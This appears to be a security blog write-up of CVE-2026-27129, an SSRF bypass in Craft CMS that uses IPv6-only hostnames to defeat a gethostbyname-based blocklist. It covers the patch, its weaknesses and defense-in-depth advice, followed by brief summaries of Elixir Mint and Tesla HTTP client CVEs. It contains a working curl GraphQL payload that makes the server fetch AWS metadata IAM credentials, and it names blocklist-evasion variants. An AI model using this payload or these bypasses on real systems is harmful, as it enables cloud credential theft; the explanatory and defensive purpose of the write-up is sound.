Feb 24, 2026·6 min read·38 visits
Craft CMS failed to sanitize IPv6-only hostnames because PHP's `gethostbyname` doesn't resolve AAAA records. Attackers can use this to hit internal services (AWS IMDS, Loopback) by using domains that only resolve to IPv6, effectively bypassing the application's IPv4-centric allowlist/blocklist logic.
A sophisticated Server-Side Request Forgery (SSRF) bypass in Craft CMS leverages the often-overlooked disparity between legacy PHP networking functions and modern dual-stack infrastructure. By exploiting how `gethostbyname()` handles IPv6-only hostnames, attackers can bypass security filters intended to block internal access, directly targeting cloud metadata services like AWS IMDSv2 via their IPv6 endpoints.
In the world of web security, we often joke that developers are playing 4D chess while security engineers are stuck playing checkers. In the case of CVE-2026-27129, it's more like the developers were playing a game of "Go Fish" using a deck of cards from 1999. This vulnerability is a classic example of technical debt colliding with modern infrastructure. It's an SSRF (Server-Side Request Forgery) bypass that renders the previous security patch—CVE-2025-68437—completely moot.
Here is the setup: Craft CMS, a popular content management system, allows users to import assets from remote URLs via GraphQL mutations. Naturally, allowing a server to fetch arbitrary URLs is dangerous, so they implemented a blocklist to stop you from fetching localhost or 169.254.169.254 (the holy grail of cloud metadata). But here lies the rub: the internet is running out of IPv4 addresses, and the world is moving to IPv6. The code responsible for checking these URLs, however, was stuck in the IPv4 era.
This isn't just a simple input validation error; it is a fundamental misunderstanding of how PHP's standard library interacts with the underlying operating system's resolver. The vulnerability allows an authenticated attacker (or anyone with access to a misconfigured public GraphQL schema) to trick the server into thinking a malicious internal request is perfectly safe, simply by speaking a language the validator doesn't understand: IPv6.
To understand this exploit, you have to look at the specific PHP function Craft CMS was using to validate domains: gethostbyname(). If you check the PHP documentation, or if you've been coding since the LAMP stack was the new hotness, you know that gethostbyname() gets the IPv4 address corresponding to a given Internet host name.
Here is the logic flaw in pseudocode:
$ip = gethostbyname($hostname);
if (is_internal_ip($ip)) {
die("Hacking Attempt Detected!");
}
// Proceed to fetch contentThe catastrophic failure occurs when an attacker provides a hostname that only has an IPv6 (AAAA) record, and no IPv4 (A) record. When gethostbyname() sees a hostname it cannot resolve to an IPv4 address, it doesn't return false or throw an error. In a stroke of API design genius (read: sarcasm), it returns the original hostname string unmodified.
So, if I send fd00-ec2--254.sslip.io (which points to AWS's internal IPv6 metadata service), gethostbyname returns string "fd00-ec2--254.sslip.io". The validator checks this string against a list of banned IPs like 127.0.0.1. Since "fd00..." is not "127.0.0.1", the check passes. The application then hands this URL off to Guzzle (the HTTP client). Guzzle, being a modern and capable library, happily resolves the AAAA record and connects to the internal IPv6 address fd00:ec2::254. Checkmate.
Let's dissect the patch. The vulnerability existed because the validation relied on a function that was blind to half the internet. The fix, applied in commit 2825388b4f32fb1c9bd709027a1a1fd192d709a3, attempts to manually bolt on IPv6 awareness.
Here is the essence of the remediation:
// The new validation method added in the patch
private function validateIp(string $ip): bool {
// ... existing IPv4 checks ...
// The new IPv6 blocklist
$v6Prefixes = [
'fd00:ec2::', // AWS IMDS
'fd20:ce::', // GCP Metadata
'::1', // Localhost
'fe80:', // Link-local
'::ffff:', // IPv4-mapped
];
foreach ($v6Prefixes as $prefix) {
if (str_starts_with($ip, $prefix)) {
return false;
}
}
return true;
}> [!NOTE]
> Researcher's Critique: While this stops the immediate bleeding, using string manipulation (str_starts_with) to validate IP addresses is historically fragile. IP addresses have many valid string representations. For example, 0000::1 is the same as ::1, but str_starts_with($ip, '::1') might miss the former depending on normalization. Even worse, str_starts_with is case-sensitive. If an attacker sends FD00:EC2::... (uppercase), and the code checks against fd00:ec2:: (lowercase), they might walk right past the firewall again.
To exploit this, we don't need complex memory corruption or buffer overflows. We just need a DNS record and a GraphQL query. We will use sslip.io, a magic DNS service that resolves hostnames containing IP addresses to those specific IPs. Crucially, it supports dashed formats for IPv6.
The Setup:
We want to access the AWS Instance Metadata Service (IMDS). The IPv4 address is 169.254.169.254, which is blocked. But AWS also listens on [fd00:ec2::254].
The Attack Chain:
sslip.io that resolves only to the IPv6 address of the IMDS.
fd00:ec2::254fd00-ec2--254.sslip.iosave_photos_Asset mutation (or similar asset creation mutations) to tell Craft CMS to "download" an image from our malicious URL.curl -X POST https://target-cms.com/api/graphql \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\", filename: \"pwned.txt\" }) { id } }"
}'pwned.txt). We then simply request that file from the public asset URL to read the stolen AWS credentials.The remediation provided by Pixel & Tonic (the creators of Craft CMS) involves explicitly defining a list of dangerous IPv6 prefixes and checking the resolved host against them. This is available in versions 4.16.19 and 5.8.23.
However, software patches are often reactive. As a security practitioner, relying solely on the application layer to filter network traffic is asking for trouble. Developers will always miss an edge case (like ::ffff:169.254.169.254, an IPv4-mapped IPv6 address).
Defense in Depth Strategy:
iptables or cloud firewall rules (Security Groups) to drop all egress traffic to 169.254.169.254 and fd00:ec2::254.PUT request to retrieve a session token before data can be read. Most SSRF vulnerabilities (including this one) only allow GET or POST requests, meaning they cannot negotiate the token handshake required by IMDSv2.allowServerSideExcursions or similar settings depending on the plugin).CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P| Product | Affected Versions | Fixed Version |
|---|---|---|
Craft CMS Pixel & Tonic | >= 4.5.0-RC1, < 4.16.19 | 4.16.19 |
Craft CMS Pixel & Tonic | >= 5.0.0-RC1, < 5.8.23 | 5.8.23 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-918 |
| Attack Vector | Network (GraphQL) |
| CVSS v4.0 | 5.7 (Medium) |
| Impact | High (Confidentiality) |
| EPSS Score | 0.03% |
| Exploit Status | Proof of Concept |
Server-Side Request Forgery (SSRF)
CVE-2026-48861 is a client-side HTTP request-line CRLF (Carriage Return Line Feed) injection vulnerability in the popular Elixir HTTP client library, Mint. The vulnerability permits HTTP Request Splitting and HTTP Request Smuggling when an application forwards untrusted, attacker-controlled inputs to Mint's HTTP client requests as either the HTTP request method or target. By embedding CRLF characters within these parameters, an attacker can terminate the request line prematurely, inject malicious headers, or pipeline entirely independent requests. These smuggled requests are then processed by upstream or downstream proxy servers as separate HTTP queries on the same TCP connection. While Mint version 1.7.0 introduced target validation to secure the request target, the HTTP request method parameter remained completely unvalidated. This flaw allows attackers to bypass routing filters, access restricted internal APIs, or poison HTTP caches under default configurations.
An Inconsistent Interpretation of HTTP Requests (HTTP Request/Response Smuggling) vulnerability in the Elixir Mint HTTP client allows attacker-controlled HTTP/1 servers to desynchronize response framing on shared connections due to over-lenient parsing of sign-prefixed Content-Length headers.
An allocation of resources without limits or throttling vulnerability in Elixir Mint allows an attacker-controlled HTTP/2 server to exhaust memory in a Mint client. The vulnerability is exploited by sending a HEADERS frame without the END_HEADERS flag followed by an infinite stream of CONTINUATION frames. Because the client lacks limits on the incoming header-block accumulator, the client continuously consumes memory until an out-of-memory crash occurs.
CVE-2026-48596 is an Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Request/Response Splitting, CWE-113) in the Elixir Tesla HTTP client. The flaw resides in how multipart content-type parameters are joined and serialized, enabling attackers to inject arbitrary headers or split HTTP requests when applications pass untrusted inputs to the parameters of multipart uploads.
An improper handling of highly compressed data (decompression bomb) vulnerability exists in the Elixir Tesla HTTP client when utilizing response decompression middlewares. By serving highly compressed responses or stacked content-encoding headers, a malicious server can cause arbitrary heap exhaustion, leading to a denial of service (DoS) crash in the BEAM virtual machine.
A high-severity security vulnerability in Elixir's Tesla HTTP client library (CVE-2026-48595) allows unauthenticated remote attackers to harvest sensitive credentials, including Authorization headers and cookies. The flaw resides in the 'Tesla.Middleware.FollowRedirects' component, which performs case-sensitive lookups when stripping credentials during cross-origin redirects. Because HTTP headers are case-insensitive by RFC specifications, standard canonical casing (e.g., 'Authorization') bypasses the lowercase-only blocklist, leaking tokens to untrusted external redirect destinations.